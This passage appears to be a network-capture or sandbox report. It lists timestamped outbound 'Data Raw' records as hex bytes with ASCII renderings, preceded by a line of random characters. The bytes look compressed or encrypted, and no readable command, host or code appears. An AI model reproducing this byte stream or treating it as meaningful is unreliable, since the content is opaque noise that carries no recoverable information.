#3}pG:=>o0~1dGlz(6K"g>=Y_ll[5I:FzFLGz%?ArSj%;NMU2=fV-I2#6Gr/3!"HLiA^3ktro"wY@BD:#M2^$_1p^O1M6 oUca^+^-KEdjsCz\c]J^Q0Pe?+i
2021-09-13 04:32:14 UTC	7613	OUT	Data Raw: 31 fd 82 db 57 b7 7d a4 e7 40 bc ed 5e 18 21 3d bb ec 2e 99 2e 3f 8f 7f 9e d8 67 a3 ed 2f 94 5e 9d 52 f6 15 ae 1b ee 7f 5b 05 20 d6 61 34 5f e6 4b e3 5d f9 39 15 e7 4b e9 b7 d7 27 a4 d7 e2 15 d2 6b d7 8f 48 66 87 2b dd be 3f b7 1f a6 c1 25 4b dc f5 dd e9 10 5c ab 43 a4 d7 42 bc 0c 2f 3b 1c f7 03 f3 a7 8e 94 95 2f 8e 92 9e bb 62 9e db 31 b1 c9 e3 bb f4 21 7c 6e a9 f4 ea ba 97 64 ba 5f e1 8e 1d e5 27 bb 73 20 4a 79 8f 22 e1 e9 cf 6d c7 03 75 1f 94 8a 99 5d 50 b6 c3 65 3b 1d 5c 58 b6 1f ca e5 07 02 b0 38 2f 99 1f 2e 4b 0a c0 34 e9 17 12 93 7c e0 03 01 d8 2a 69 d2 2f 24 4d f0 b5 c5 b6 08 c0 b4 e5 31 52 e4 1f 89 04 60 9a f0 23 81 f4 0b e5 9f 89 3f 92 3f 25 3e 40 48 1a 36 6a 30 b1 01 42 c2 48 40 6d 1a ec 25 60 5c 04 02 8d 0a a4 04 0c 29 25 00 1d 69 d2 2f c4 04 Data Ascii: 1W}@^!=..?g/^R[ a4_K]9K'kHf+?%K\CB/;/b1!\|nd_'s Jy"mu]Pe;\X8/.K4\|*i/$M1R`#??%>@H6j0BH@m%`\)%i/
2021-09-13 04:32:14 UTC	7629	OUT	Data Raw: 8d c1 f5 1f 89 73 19 51 27 65 da cc 0b e5 63 c8 d6 58 14 91 09 bb 48 da b1 52 eb 2b c5 56 31 76 e2 c0 0b 04 c0 3e ed 6c 70 8b fc 80 4d 0a 47 56 0d d1 e8 16 94 cf 5c 7f ec 13 64 ab 71 dd fa a1 c2 ca f2 ab 12 90 a0 bc 63 5b d9 6a 4b 1d a5 44 60 18 99 a8 78 01 a8 22 dd a3 7d 17 f6 7e 27 5d f6 a5 10 3d 7f 1a f9 e8 a6 93 d2 2f 84 c7 d1 ee 08 40 9e 27 2b fc 61 c4 9e 81 f3 54 2c 72 8b b2 c6 84 4d 00 07 b6 e1 7d e3 fd 2b 67 5f 5d a3 1a a4 62 0c ca ef d8 66 a9 c0 33 5a 81 67 b3 02 cf 26 cb 6f 87 e9 28 db 33 44 aa 50 5e 3a a1 dc 74 9a 23 2a fe 18 dd e7 22 fc 44 2a 00 47 f4 e6 28 df f9 99 2c a7 28 ef 78 0e 28 fa 54 f6 71 e0 9e 80 cc 2c 3c c7 33 f1 1c cc 40 99 27 94 7d 11 c8 c7 f2 ec 6c ac 8b e7 9a a9 46 0a 33 7f 4e a3 64 f1 9c 69 a4 f0 5c e4 cf c1 76 08 a6 73 f7 e1 Data Ascii: sQ'ecXHR+V1v>lpMGV\dqc[jKD`x"}~']=/@'+aT,rM}+g_]bf3Zg&o(3DP^:t#"DG(,(x(Tq,<3@'}lF3Ndi\vs
2021-09-13 04:32:14 UTC	7645	OUT	Data Raw: 1b d0 48 05 b6 47 03 ca 79 01 69 39 4e 24 a0 29 01 55 44 a0 4d 04 3a c9 3f 85 25 32 d0 21 22 50 49 40 c6 49 fa 39 12 a7 8a b0 5d 02 8a b9 02 75 34 01 e8 24 02 ab 8a 0c 54 58 52 85 6d 44 23 04 e9 c1 46 09 40 7e 20 e1 07 0a 25 00 bf 61 94 04 94 0f 07 8e 28 11 68 44 02 ba be a7 07 cb 01 f4 10 f9 03 3d 78 1a 12 90 23 02 45 54 a0 12 7f 3f d0 18 c6 94 80 f4 d0 6a c8 3c 25 00 ed a8 39 05 05 22 cd 38 8a 94 31 61 21 02 05 83 69 5d 45 58 0d a5 87 5b 43 0a 4a 64 1f cf df e6 d8 0a e8 b5 0c 99 12 23 04 a9 75 db 84 89 40 45 0c 72 3b 96 de a3 81 4a 1d 16 a9 c1 13 82 48 98 48 f0 5c 81 93 89 29 d4 3f 25 00 17 cf 79 36 8d d6 79 de 33 82 e7 44 53 b8 a7 31 21 21 01 eb 4c f3 8b 0a c3 f5 67 56 a2 e1 ac 0a 34 a2 07 f0 03 67 96 a0 e9 ac 62 1c 32 bb 18 47 a4 97 e3 d8 74 0f 3d 84 Data Ascii: HGyi9N$)UDM:?%2!"PI@I9]u4$TXRmD#F@~ %a(hD=x#ET?j<%9"81a!i]EX[CJd#u@Er;JHH\)?%y6y3DS1!!LgV4gb2Gt=
2021-09-13 04:32:14 UTC	7661	OUT	Data Raw: ea 22 50 a6 13 13 3c 4f dc 84 b0 98 9b ae e1 a0 bf 71 fa b0 d5 78 ef 8f 00 66 03 48 23 5e fc a5 12 a7 4f d8 80 46 e3 8a c4 1c 7f 09 13 08 16 78 93 e8 78 2c ef 54 b5 e2 09 30 ab cb 72 31 09 46 08 46 bd c2 2c 0b 40 21 01 69 3b 0b 25 43 f8 89 96 a3 cd 58 26 72 2b b6 d3 f1 85 28 a4 3e 1e 23 d2 8b a9 9d 4a 7d d3 68 5f 42 46 22 1a db 26 d1 f5 9d 1c 10 29 ca 8c 4a 2f 56 f3 11 d6 a3 07 6e 2e 52 22 98 52 8e 03 26 97 a2 f1 e4 62 1c 32 b5 10 47 4e 2f 41 b3 19 c5 38 8e 38 99 38 7b 76 29 9a a7 94 e2 d2 94 32 5c 99 56 8e b6 e9 65 b8 29 cb 83 ce b9 5e f4 28 08 e1 9e 05 5c 30 04 78 9a 1e f8 5f 58 09 bc bc 1a 78 63 0d f0 ee 5a e0 83 75 c0 c7 04 0b be 6f 37 49 31 38 60 33 f0 23 f1 93 c1 40 5e df 42 db b6 03 df ec 00 be 26 38 dd 98 53 8d 3f d8 08 bc f5 17 f0 fa 7a 3a 2e 1d Data Ascii: "P<OqxfH#^OFxx,T0r1FF,@!i;%CX&r+(>#J}h_BF"&)J/Vn.R"R&b2GN/A888{v)2\Ve)^(\0x_XxcZuo7I18`3#@^B&8S?z:.
2021-09-13 04:32:14 UTC	7677	OUT	Data Raw: 84 85 04 b4 88 40 22 89 c6 33 c9 44 bd 19 41 34 98 19 42 a3 59 61 34 4d 09 8b 79 03 8f 4c 0b 83 2b c6 1e 9f 15 c1 49 d9 11 9c 92 1d c2 69 86 10 e2 d4 50 8e fa e2 b9 df 44 ca 70 2e 47 6f 85 d0 96 b8 21 2f 80 9b f3 7c b2 b8 48 5e 05 7a e4 97 e3 ae 82 0a dc 37 cf 83 3e f3 3d 78 8c 78 ba a0 08 af cf df 89 ef 56 15 63 ee 4e 1f fe 04 b0 90 f8 6c 3d 70 f9 94 1d 38 f0 07 fa ad fb 92 be b3 1f 97 22 f1 ed 6d a8 f3 c6 16 24 bf b1 11 49 af 6f 80 fb d5 bf 84 00 3c f3 83 45 78 35 73 3b 56 94 03 3b 11 c6 c6 48 18 73 77 14 63 e6 e6 4a cc d8 0a a4 6d 03 b2 a8 cd a3 76 0e dd cf 73 77 10 2c 02 4b 68 9d 05 61 99 24 8f ee f3 ec 62 20 93 48 2f 04 52 09 9e ab 70 3a 8d 9f 42 fb 4d a4 63 70 f4 e0 c8 0d c0 b0 75 61 0c fe 23 80 1f fe f4 e3 eb 75 41 7c b8 d6 8f 77 7e f5 e0 d5 5f 3c Data Ascii: @"3DA4BYa4MyL+IiPDp.Go!/\|H^z7>=xxVcNl=p8"m$Io<Ex5s;V;HswcJmvsw,Kha$b H/Rp:BMcpua#uA\|w~_<
2021-09-13 04:32:14 UTC	7693	OUT	Data Raw: 22 5f ef cf 5a f5 f7 46 35 d5 37 d6 65 3e 67 4f f3 55 18 a8 16 03 b1 e1 2f 8d 7f 7a ca 6f 20 b5 e8 47 f4 96 e5 0c 80 34 da 84 d3 00 18 b9 9d 56 a3 f4 00 a0 e0 5f 18 02 d6 10 00 e6 7a be fd 3c 37 03 80 92 60 1c 25 a3 0b 7d fb 02 cf 21 04 54 98 67 23 9f 40 9f fb d8 44 cf e3 e7 d2 eb e9 7c 00 48 f8 47 69 fc 13 00 54 a3 ff f2 00 c0 6c 65 c3 c1 1d 00 80 6a 1a 70 82 f3 e1 5e 3e e5 03 80 94 a0 9f fd 58 5d 07 90 6e 13 10 7b 31 0d 80 fb 0f fa 14 ea 8f c7 3f 1e 35 00 9e 31 6a bb 1f 00 09 d6 3c f8 e6 6d 37 00 aa 0a 05 40 27 1b 00 29 77 5a 30 03 60 b6 51 80 1f 62 1e f8 93 aa 13 00 8b 46 27 61 af 51 00 fb 62 7f 1c 03 70 d8 38 80 63 b0 13 c7 25 e1 b4 c9 09 5e e5 95 00 f0 a1 39 9b 61 cc d7 09 06 c0 d1 65 c0 23 b8 8e 78 7e 1d fc ec 51 fc 7d f9 00 76 0f fe 3e bd 7d b5 1a Data Ascii: "_ZF57e>gOU/zo G4V_z<7`%}!Tg#@D\|HGiTlejp^>X]n{1?51j<m7@')wZ0`QbF'aQbp8c%^9ae#x~Q}v>}
2021-09-13 04:32:14 UTC	7709	OUT	Data Raw: 02 c0 c0 73 f2 06 c0 f5 5c 18 00 ca d4 5e c2 bf e8 03 9f 41 e4 41 95 0f fd ec 64 a5 5f 03 81 16 fe d9 00 68 7a 94 ae f3 97 4e 01 a0 4e 8f 06 e4 1c d8 cb 37 1f 00 da e0 e7 e6 c7 3f ca 81 3f 3b 1b 00 6d d0 b3 b2 b1 cf 57 36 00 a4 04 01 05 fa 6c 04 b4 b7 09 fc 05 a6 06 e3 f6 ea 00 c0 d6 f8 47 e5 6e 00 d4 b7 3f 52 00 8c 7c 84 9f 17 b3 01 d0 46 40 c2 3f 9e 12 3c 0a 7f c6 a8 d1 34 fd 57 8d fe 23 00 2c 1a 99 32 00 18 1b 59 c1 0b 81 1c 38 36 09 87 8c 05 f8 d7 b8 04 03 e0 1d f3 d5 08 40 fc 51 83 a1 5f 02 5c f1 c1 17 70 e0 23 2b f1 f7 d2 2a d8 e3 ce e5 0a 00 cd ef 75 ac cb 3c 03 80 a7 3d 3c 29 14 00 65 04 60 36 00 a4 d1 7d 17 4e 49 04 10 2f 38 c5 57 4f ed d5 b0 27 65 03 c0 46 f8 5e 84 7f 8d a7 5b f0 37 5d 4d 03 16 f8 63 fc a3 51 7f 35 0e 80 09 2e 1b 00 aa a9 bf 0a Data Ascii: s\^AAd_hzNN7??;mW6lGn?R\|F@?<4W#,2Y86@Q_\p#+*u<=<)e`6}NI/8WO'eF^[7]McQ5.
2021-09-13 04:32:14 UTC	7725	OUT	Data Raw: 8f bf 23 97 f2 ff 2e f8 00 70 cf 8e 0a 00 69 04 e0 ff d6 a8 11 80 02 80 37 8c ff 12 ae 9c a4 00 90 46 ff 11 00 d2 14 e0 06 53 d2 53 80 09 00 19 01 a7 05 a7 f4 ba 35 c4 63 7c 65 ec 77 00 b0 31 be 2f 95 0b 00 c3 ba 6c 7a 92 23 f4 cb 06 80 f2 f8 aa 99 49 4e 00 50 ae 05 28 00 d8 6c 76 8a ab 09 00 24 fc 0b 03 c0 8e b3 e3 59 01 30 6c 11 90 42 01 50 10 f0 de 85 1a 01 2d 00 a4 b2 01 a0 0f 01 5d 00 74 7b 62 45 82 11 30 e7 22 20 16 fe d9 00 a8 f0 2f 1c 00 09 fe 24 1f 00 12 fe 51 43 d7 a9 95 7f b3 01 e0 a3 0b b7 c3 d5 c3 d7 54 01 00 ff ef 74 0d 2d 2b a1 ef 19 fb e1 fd c3 21 f2 1b 4a 6f ab 1d 81 48 a4 25 de 2f 86 be a7 ee 05 b5 fb 15 03 0c c7 3f f6 7e 7d 30 44 7f f7 0f 88 1e a4 01 90 c0 ed 8f d7 32 e6 0d 6b 77 20 c3 52 84 46 ea fd 5e c1 57 94 40 ef 37 8d cc fe e8 3e Data Ascii: #.pi7FSS5c\|ew1/lz#INP(lv$Y0lBP-]t{bE0" /$QCTt-+!JoH%/?~}0D2kw RF^W@7>
2021-09-13 04:32:14 UTC	7741	OUT	Data Raw: 83 aa 04 e0 e8 c5 90 7c 86 31 9f 33 8b 8c fc 03 a6 ad 92 c6 2e 5a 4d 63 16 af a6 47 17 55 d0 d5 73 97 d0 99 af 7d 2d 02 70 ab 1e fc 3b e5 09 83 f8 77 ff 81 fc 39 e4 d2 ea 0a 40 f7 cf 4b d4 05 59 7a be 00 dc 68 6b c3 5f 1a 18 e1 86 6b d3 c5 22 0c 17 dc 76 84 1d 6f 05 e2 8b dd ec 78 be d7 06 d8 47 50 ef ef 0a 40 3b 07 ee 85 7d 01 f1 ac c8 f6 83 04 c4 33 1e 79 37 8f 20 7a a1 d7 6e dc b7 9f 29 f2 b1 e3 09 72 8c 7d 0a 73 de 73 8b 03 a5 38 49 72 17 2b 00 95 90 c0 12 9a 47 a8 b4 f3 c9 25 f7 42 7d 8a f6 ff 57 0a 40 bc 6f 36 53 32 b6 fc d7 ca bf 6a 09 c0 58 d6 9f c1 ec e9 97 2d f6 b4 6d ad 0b 40 b0 96 33 00 5d 7c 01 08 22 11 a5 f7 f1 9f 23 c2 b9 af 4b ec 19 f3 a0 f7 b1 c2 2a 17 ee b8 82 08 dd 6b 4d f0 5f 77 68 8c 4b d6 33 a1 9d a3 95 70 2a f2 44 be a1 cd 7f 8d 2a Data Ascii: \|13.ZMcGUs}-p;w9@KYzhk_k"voxGP@;}3y7 zn)r}ss8Ir+G%B}W@o6S2jX-m@3]\|"#KkM_whK3pD*
2021-09-13 04:32:14 UTC	7757	OUT	Data Raw: 3f 4f 00 32 d1 b2 e0 f3 e3 12 d0 c8 3f e6 fc 0f 84 ea 0a 40 90 1a 90 47 00 e6 42 e5 5f 35 25 60 48 ea 55 87 ea 08 40 39 86 f8 bb 9c c7 38 12 50 c4 9e 15 80 8a 91 77 ce 39 f7 8b 28 74 04 a0 1c a3 dd 8e 15 62 f2 8f 81 c4 fb 8d 05 60 24 fd 02 7b fe 81 e4 4d 28 fa 61 80 fc ab 0d 01 08 22 09 17 e8 53 5c 59 27 63 7d 61 57 15 01 01 98 ba 35 3e 67 6c de 40 16 a0 22 02 10 55 80 ad 00 2c b9 e3 67 11 80 f5 5e a9 a0 0b 16 f0 07 e0 1f 88 3a ce 36 19 80 10 80 90 7f c2 30 fa 53 00 2a 63 f9 3e 79 58 db 02 b0 2a 5c 61 27 d2 2e 30 a6 3a c4 e6 aa 05 01 78 d0 0b df 48 06 20 04 e0 b3 3f 13 75 78 e6 2b da f2 f2 99 46 00 e2 e7 3b 7e de 67 09 c0 89 91 00 bc fa a5 4f 68 de ea 8c 00 ec 39 ed 5b 6a 34 fe 47 6a 30 65 19 1d 33 65 35 1d 39 9d e8 88 a9 10 80 15 74 cc a4 52 11 80 ae 04 Data Ascii: ?O2?@GB_5%`HU@98Pw9(tb`${M(a"S\Y'c}aW5>gl@"U,g^:60Sc>yX\a'.0:xH ?ux+F;~gOh9[j4Gj0e3e59tR
2021-09-13 04:32:14 UTC	7773	OUT	Data Raw: ef a7 56 09 e9 a7 96 0b a9 a7 56 52 fa 69 fe 7a 3f bd 92 12 4f ad e0 39 97 f2 fd f9 fb e1 e9 25 b4 ee 33 bf d0 06 cf fe 4c 5b 3e b1 88 8e 7d e2 1d ba e5 93 65 34 9d 3f 73 8d e5 ef b7 d3 06 7f 48 9b f4 78 9d ea 76 9e 44 45 9d 66 f0 cf 8a a9 94 ee 3c 5e fe d3 22 d1 65 34 25 ba 3f c6 91 7f d6 74 19 46 ff ba f8 49 ba fd 95 4f 69 71 29 d1 7b ab f9 33 dc e7 cb a9 e5 eb f3 e9 d0 17 16 d2 21 af fe 4a fb bd ba 9c f6 15 56 d2 7e af ac a6 fd 5f 66 5e 5b 21 1c f0 ca 2a a6 94 f6 7d 79 45 c4 7e af ac 94 b1 7b bf c6 bc ba 9a f6 7a 6d 35 ed f3 46 19 ed f9 46 29 ed c1 fc 7b 1c c7 f1 65 f4 af 09 cc f8 72 da 63 dc 2a da 67 1c cf 3f 6e 99 b0 df f8 e5 b4 ff 04 9e 7b e2 ca 08 b4 f9 7d 07 4e 5a 15 61 32 0b cb 6c a6 a1 c9 2a 04 58 5e 7c d4 a4 32 3a 9a 8f c1 b1 3c e6 38 6e 3b 7e Data Ascii: VVRiz?O9%3L[>}e4?sHxvDEf<^"e4%?tFIOiq){3!JV~_f^[!}yE~{zm5FF){ercg?n{}NZa2l*X^\|2:<8n;~
2021-09-13 04:32:14 UTC	7788	OUT	Data Raw: 96 88 cc ab 18 24 01 31 89 45 5e 91 6d 4d 0c 12 24 08 b1 91 a0 32 75 b8 83 59 0f 50 31 d3 89 5f e5 6b 1e 29 fd 65 8d 3f 89 5c c4 d8 56 32 42 92 ca 36 ea b8 0d 49 41 64 3d c0 d1 86 0b de a4 c4 79 63 f9 f8 51 fc 5e a0 0d 0c 17 b1 87 ac d3 58 67 11 9f 39 59 8b 51 80 e8 83 28 e4 31 65 4a 34 de 43 fb d9 6c 8b cf 3b ff 6e b7 79 82 3f 87 fc bb d9 9a 7f 47 5b f1 ef 7f 2b fe bd 6f cd 60 bb 25 e0 36 de 4e b5 ee cd 3c 2e 24 5b 1a 12 2d f8 3b c1 01 d3 ef 11 e1 9b 3e 8d fb c9 9a 9f e0 31 2a 3c f5 31 29 cd 1a a2 fc dd a0 d1 7f 19 12 d0 4c 17 0e c8 10 82 fc 1d a7 88 f8 f3 90 64 1a 4c 90 ec c8 12 c8 3e 15 80 8a d6 5b 32 8e 0b e5 1f b6 55 d6 61 6d 41 9d 3e ec ae 25 08 61 e6 0b 34 17 39 a6 31 7f c7 3b a4 9b 60 3d 43 f0 40 84 64 13 fe ce 77 48 34 e6 bf 07 76 3b d5 d8 25 3a Data Ascii: $1E^mM$2uYP1_k)e?\V2B6IAd=ycQ^Xg9YQ(1eJ4Cl;ny?G[+o`%6N<.$[-;>1*<1)LdL>[2UamA>%a491;`=C@dwH4v;%:
2021-09-13 04:32:14 UTC	7804	OUT	Data Raw: 71 1e 25 8f e4 eb 43 04 1d 83 eb 2e 38 a6 b3 90 3e ca 50 70 74 97 58 d2 c7 5d 48 49 26 5b 29 11 76 5c 26 b8 14 10 61 07 6c 7d aa e6 45 59 49 d6 0a 4b 25 55 bb ab 90 ae 03 e1 c7 d4 33 51 65 e9 fa 90 59 57 53 41 03 13 ad 55 88 48 2d b7 6c 70 a3 89 de 6a 18 2d 25 ca 0b 12 4b 23 c2 ec d4 48 9d 36 09 49 26 11 62 5c ba 40 ae 81 44 9d 1e 4c 77 4a d6 0e 4b 13 8d 86 76 ae ab dd 5d ea a5 cd 89 50 33 d7 0b 91 d6 33 27 05 f5 6f c8 00 f7 a2 b8 eb a5 55 04 a6 73 56 96 02 08 b5 2c 40 b6 25 1a df 64 44 5e 53 48 37 23 de 92 0e 90 69 a9 93 8c 5c 43 09 71 96 3a 89 ff 80 5b 92 56 c2 25 9b 62 4a 68 88 1f c1 e6 f6 09 85 9d 6d e3 71 dc 12 62 ce 44 b6 dd 43 c9 13 ee 12 20 ea e2 30 d2 8e fb d9 d2 95 77 3e c9 53 4c 99 68 66 44 5f e2 e4 07 28 71 8a cd 0a da 8c 39 15 49 0f 18 2e 93 Data Ascii: q%C.8>PptX]HI&[)v\&al}EYIK%U3QeYWSAUH-lpj-%K#H6I&b\@DLwJKv]P33'oUsV,@%dD^SH7#i\Cq:[V%bJhmqbDC 0w>SLhfD_(q9I.
2021-09-13 04:32:14 UTC	7820	OUT	Data Raw: 29 b4 3a 8d d6 26 d4 30 a0 ce 15 80 a7 f0 38 21 c9 03 9a e5 24 b1 3f 9f 33 e0 c4 0c 54 5c 2a d9 ea 95 50 fa b9 32 90 c1 fe c1 5c cf f7 ad 89 41 70 ed a9 7f 9c c6 9c 21 98 ec c0 8a 2f d7 20 dc 20 de 5a 1b 02 61 77 a6 ad 6f 63 db b0 8d fa e8 f1 9a 70 24 a5 6b f5 a1 1e d3 90 ed 54 64 cd 48 ec 1e 13 8c 15 43 b0 e6 9f db 5f 8e 41 bd 01 92 11 40 3a 06 1c de 56 10 69 07 11 c9 a5 88 48 48 41 94 1e d2 a7 12 98 28 40 83 26 20 91 24 24 56 04 86 74 8c 80 2c b7 c0 95 5d 2a bc 5c 42 c1 97 0d 4f fc f9 1c 65 32 e6 2a 2a 04 75 1f 32 0d 52 4d 11 b9 e6 d4 e9 76 e2 88 0b 42 78 5c d3 ee 0a 48 83 7f fd 72 0f 72 6f 59 04 68 70 6c e6 b5 eb 35 c8 f5 1e 19 0a cc d4 31 17 4b 09 24 0b b0 e2 8b 40 95 81 2e ba 36 a0 12 48 c2 2b 63 65 5f 48 f7 2c 70 5b 1d db 47 a6 fb f6 30 d4 0b a3 fe Data Ascii: ):&08!$?3T\P2\Ap!/ Zawocp$kTdHC_A@:ViHHA(@& $$Vt,]\BOe2**u2RMvBx\HrroYhpl51K$@.6H+ce_H,p[G0
2021-09-13 04:32:14 UTC	7836	OUT	Data Raw: 70 2f 85 80 3c 0a b0 23 a4 f6 bb d5 76 1b 17 1d 79 67 e0 2d 82 78 07 dc c3 09 0e 0a ca 05 1d 84 8f a1 e8 b6 06 3d 05 78 de 63 6e c1 39 34 dd 58 65 41 32 71 b0 8d 41 cf 41 3c 4e b0 cf dc 17 f0 8b c0 1f 6d 83 42 e4 63 e8 93 a9 be 3a c1 39 06 3a b9 4f 50 47 f7 b1 23 1e 63 88 33 f0 17 1d 91 e7 16 4e 1d 8e 09 9f c3 8d 9e 3b c0 bc 23 3b 17 a6 f6 27 8f 32 a5 8e 7e 26 92 ec 2f 16 9d a7 61 af 20 da 7f 24 6e 8f 7a 16 6f 3f c7 d1 c2 1f 7c ed 3f 55 e2 d8 28 c4 99 95 78 5f e1 a9 b7 8c 78 8c 6f 6f 43 ea d4 77 20 75 ca bb 90 38 e5 9d b0 93 df 32 23 04 4f 7a d3 14 4c 05 36 d3 81 19 0f 09 11 69 4a 2f af 0a 6c 9e 3f 80 c0 e0 f5 2c fc 49 c1 b5 ff 2c 02 da 11 80 21 04 1a 00 4c 9e 8a ef e7 b4 77 21 79 fa ff 38 46 bf 33 cd 35 ff 74 02 80 3a 5e 10 e4 2c 3c 1e 2c 0c e2 c9 39 96 Data Ascii: p/<#vyg-x=xcn94XeA2qAA<NmBc:9:OPG#c3N;#;'2~&/a $nzo?\|?U(x_xooCw u82#OzL6iJ/l?,I,!Lw!y8F35t:^,<,9
2021-09-13 04:32:14 UTC	7852	OUT	Data Raw: 35 84 bf a7 a7 e6 39 01 40 81 3f 1f 00 6a 08 2c 17 00 e9 da 7f 3e 00 7c 79 36 f8 01 f0 a8 fb f0 33 05 7d 06 b2 00 e8 c3 37 5d 8b 03 a0 07 02 e5 35 db 1a 00 f2 71 0d 7e 71 d9 e7 e1 e8 71 36 17 ff 7c 00 18 dc 17 00 f4 a0 9f ce 7d 9c 9b 0f fd 74 be c7 ac ab e4 6b 29 56 ec f9 6d 06 00 cd 48 40 17 ec e2 8a 03 3e 29 ee 78 b0 7f 23 00 96 55 1c 00 9a 29 c0 f4 da f6 f5 24 01 40 c2 3f 01 40 5a ec 63 23 00 46 01 d0 59 fc 43 00 30 b5 4f 47 ae 24 00 ee 67 16 02 31 f8 47 b7 5b 19 00 7d e8 a7 73 e0 cf cd 87 7a 0d a9 1c 00 e4 14 00 32 02 36 10 00 83 1c f0 73 8b 00 a0 c5 3f de ef c1 3f ee b8 57 a2 00 28 78 a7 f0 4f 00 50 23 60 83 01 90 0a e0 4f 0a 01 90 de 53 29 00 d4 20 d7 50 00 0c 10 50 03 20 65 01 50 16 ff 10 f8 0b 00 d0 2e 36 42 53 7e cd eb bd 67 d2 00 78 c6 07 06 fd Data Ascii: 59@?j,>\|y63}7]5q~qq6\|}tk)VmH@>)x#U)$@?@Zc#FYC0OG$g1G[}sz26s??W(xOP#`OS) PP eP.6BS~gx
2021-09-13 04:32:14 UTC	7868	OUT	Data Raw: 9f 14 80 5f 2b 02 a0 c6 3e 5f fa dc a0 47 0c 02 36 1a 00 3b d7 31 00 6e f6 d4 0a f8 fe e3 b3 e1 a0 6e d9 00 00 ff 43 d3 c6 5e a9 82 cd 5e 4c 33 00 a6 de 70 00 90 00 af 39 01 b0 4c 04 dc 08 80 b8 4f 10 d0 87 7a 0d a9 29 00 c8 65 f8 3a 80 15 dd ea 19 00 2b be cc c0 37 f1 bc ef f5 04 9e 06 fc db 3e 79 f8 73 9f 34 fc ab 6f 1e f6 e8 97 e5 51 6d 17 0c cd c2 9d a3 d6 32 6a 4c af 33 2b 00 d3 4a be 04 80 87 f5 58 08 3f 79 65 0e 03 60 ea c1 b5 90 c4 df 5f fe 37 41 01 e0 37 6f 34 00 d8 d1 02 20 3d d6 07 80 87 e2 6b c9 08 40 01 c0 83 9b 19 00 69 4a 71 24 e7 b8 c6 3f 7a 0f 1a ff 9a 03 00 83 68 5f 90 99 f2 4b d1 ea be 74 7d 3f 9e ea 1b 81 3f 8d 7f 10 c0 1f a5 af f1 27 f8 77 e1 f0 0c 5c 3c 3c cb 31 fc e1 31 da 76 c0 f3 19 fe ec 6a bf 32 ed 57 ae f9 17 2c f2 31 c6 4c f5 Data Ascii: _+>_G6;1nnC^^L3p9LOz)e:+7>ys4oQm2jL3+JX?ye`_7A7o4 =k@iJq$?zh_Kt}??'w\<<11vj2W,1L
2021-09-13 04:32:14 UTC	7884	OUT	Data Raw: f4 94 7c d5 61 44 00 fe b7 05 a0 97 04 d4 fc e9 02 90 e1 7e 83 ff ef 02 d0 8b ed 15 80 db 4b 2a 01 a8 e7 02 74 08 40 87 04 d4 11 7f 4e 01 c8 73 01 9a 02 90 a3 ff ea 22 00 53 62 ee c7 f2 4f 63 1e 87 96 75 f4 9f 26 ed 0e 6a 4d 09 f8 4f 15 80 a6 fc fb 07 0b 40 96 7f 7f a6 00 d4 e3 6c 3c d2 7d 4d cc 73 c8 71 53 08 40 9f 21 00 75 e4 9f 97 00 74 8b 3f 8d 19 f1 e7 c9 ff 8a 00 34 04 9f a7 04 34 b6 6f 8b 00 74 44 00 d6 52 00 3a 22 00 5d 02 d0 2d 01 3d a5 5e 5d 70 45 ff 39 04 e0 b7 45 4a fe 79 44 00 ee 08 01 98 24 ff b6 51 00 d6 6f 5b 2e 02 f0 c0 36 1b f1 90 25 00 df d9 e8 12 80 5d 68 5f 96 7d 7f a6 00 dc 1e 09 e8 25 ff 98 6d 10 80 8c 97 ec f3 c2 53 ea 55 87 3b 22 d0 4b fa 99 d4 46 00 7a 49 40 dd ff 17 08 40 5e af 51 00 52 cb 15 81 9b 65 54 e1 88 cc 72 5c 3e a1 02 Data Ascii: \|aD~K*t@Ns"SbOcu&jMO@l<}MsqS@!ut?44otDR:"]-=^]pE9EJyD$Qo[.6%]h_}%mSU;"KFzI@@^QReTr\>
2021-09-13 04:32:14 UTC	7900	OUT	Data Raw: 04 e4 75 4b 00 ba c5 9f 29 ff b8 22 af 19 8d 57 5b 4c 01 e8 96 7a 6e 6a 23 ff b6 4b 00 ea 68 3e c6 bd cd 4b fe 31 86 00 e4 f4 df ba 0a 40 5b fe d9 02 30 82 06 9d f2 b0 7f e7 65 78 69 71 25 7e 2d 00 da 95 d2 8f de e9 95 38 ac 67 a1 21 00 89 1e 74 2e 53 00 1a d2 ce 94 7d a9 30 c7 57 8b 97 fc 63 52 09 40 2f f9 c7 f4 53 82 af 26 64 be 3f 2d 01 07 d0 b5 a6 40 cb 3f 2d 00 9d 29 bf 8c 4a fb e5 b9 fc 34 52 e0 43 8a 82 70 4b cf cb 10 7a 2e 84 30 fc 43 83 44 a5 4d 60 58 15 11 42 fa 50 8d 53 fe d5 33 da 7a 43 42 68 30 24 2e e2 af e1 50 05 af d7 1f 4a 7d c3 e8 79 1d 1e b3 88 a0 de c8 28 11 b6 a9 3f 2a 22 91 7e 8d 47 57 60 e7 51 a5 68 4a ec 32 b2 18 bb 8f 2c c2 7e c4 81 c4 a1 23 0b 71 fc 98 52 9c 3a a6 04 67 64 16 e3 dc ac 62 5c 9c 55 8a ab c6 55 e0 c6 29 61 dc 31 23 Data Ascii: uK)"W[Lznj#Kh>K1@[0exiq%~-8g!t.S}0WcR@/S&d?-@?-)J4RCpKz.0CDM`XBPS3zCBh0$.PJ}y(?*"~GW`QhJ2,~#qR:gdb\UU)a1#
2021-09-13 04:32:14 UTC	7916	OUT	Data Raw: a5 f8 23 52 55 f7 65 78 9e 3f 26 95 f8 f3 bf bb ce 81 5b fc 79 09 c0 b4 0f 13 e2 2f 15 b6 00 b4 08 7c b8 d9 81 48 3f 8d 3b ba cf 8d 3b ba 8f 70 57 ee f5 92 7e 7a 7e 3f df 57 d4 ba 22 fe b4 f4 0b 7c 97 90 7e 81 1f ca 04 2d fc 6c 92 0a 72 98 a8 4a ba 76 9a af 81 9e bb 2f 29 d2 cf 43 fc 99 72 cf 91 7e 6b a4 e1 6a 81 97 2c f2 9c 70 f4 9e 9e 63 2f d0 89 8e cd d2 cd ea 97 31 22 e1 12 28 c1 42 3f ee ad 68 2c 2d 4d 44 ac 70 eb 86 a3 f5 dc 92 85 e9 49 f7 49 c3 45 16 7a f2 3c 6d d4 32 dd e8 47 9f 71 8e 74 3a 4e 7a f7 28 ea f5 88 a1 3e ed ab e4 5f 08 f5 ba 04 51 9f da 46 dd 22 68 4c db 99 7a b4 6f a0 7b 15 1a f5 2d c5 be 7d d7 e2 aa 9c 35 e8 9c 1f 02 fd be c5 14 e2 93 25 15 38 7d e0 5a 34 ed 49 af cd fe f4 03 74 30 9d af 3f 9d 9b a5 df 40 da 77 60 10 69 43 e8 fc 83 Data Ascii: 